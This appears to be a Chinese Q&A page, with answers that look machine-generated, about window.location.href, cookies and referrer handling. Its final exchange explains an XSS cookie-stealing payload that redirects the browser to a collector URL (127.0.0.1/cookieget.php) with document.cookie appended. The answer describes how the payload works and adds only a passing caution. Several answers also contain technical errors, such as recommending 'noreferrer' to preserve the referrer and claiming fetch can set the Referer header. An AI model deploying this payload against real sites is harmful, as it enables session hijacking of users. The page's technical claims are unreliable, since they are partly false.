window.location.href cookie
时间: 2023-11-15 14:57:49 浏览: 119
根据提供的引用内容,可以得知使用window.location.href会导致之前页面存储的cookie丢失。window.location.href是用于获取或设置当前页面的URL地址的属性,它并不会直接影响cookie的存储。而cookie是一种在客户端存储数据的机制,可以通过document.cookie来进行设置和获取。在设置cookie时,需要指定属性名和属性值,例如:document.cookie = "token=123456"。如果要在多个页面中共享cookie,需要在设置cookie时指定路径属性,例如:document.cookie = "token=123456; path=/"。这样可以使得cookie在整个网站中都有效。如果要在不同的域名下共享cookie,还需要设置domain属性。
相关问题
window.location.href 导致referer丢失
`window.location.href` 是JavaScript中用于获取或设置当前页面URL的一个属性。当你直接使用它来改变页面地址,比如 `window.location.href = 'new-url.com';` 时,通常浏览器会发送一个新的HTTP请求到新的URL,这个请求被称为"直接链接",不会包含来源(即referrer)信息,因为这种跳转不是通过点击超链接或表单提交等常规用户交互产生的。
如果你需要保留当前页面的 referer 或者是为了跟踪来源,可以考虑使用其他方法,如:
1. 使用`<a>`标签的`href`属性,并让用户的点击触发跳转,这样就会自动携带referrer:
```html
<a href="new-url.com" rel="noopener noreferrer">点击跳转</a>
```
2. 如果是在服务器端进行重定向,可以将referer信息作为查询字符串或cookie的一部分传递。
3. 使用JavaScript的Fetch API或者其他库(如axios),它们提供更精细的控制,可以在发起请求时手动添加头信息,包括referer:
```javascript
fetch('new-url.com', {headers: {'Referer': document.referrer}});
```
使用 <script>window.location.href="http://127.0.0.1/cookieget.php?c="+document.cookie</script> 打cookie
使用 `<script>` 标签和 JavaScript 代码 `window.location.href` 能够通过页面跳转的方式,在当前浏览器窗口中自动加载并传递 `document.cookie` 到指定的 URL,例如 `http://127.0.0.1/cookieget.php`。这里的 `?c=` 参数后面跟着浏览器当前所有的 cookies 作为查询字符串。当用户访问这个链接时,`cookieget.php` 页面将会接收到这些 cookies。
这是JavaScript代码片段的示例:
```html
<script>
window.location.href = "http://127.0.0.1/cookieget.php?c=" + document.cookie;
</script>
```
当你点击这段代码时,浏览器会直接跳转到 `cookieget.php`,并将当前所有 cookies 的值以 `c=...` 形式添加到 URL 查询参数中。在 `cookieget.php` 中,你可以通过 `$GET['c']` 来接收这些 cookie。
需要注意的是,这种方法虽然直观,但在某些场景下可能会引发安全问题,比如用户隐私泄露。因此,通常在处理敏感数据时应谨慎使用。
阅读全文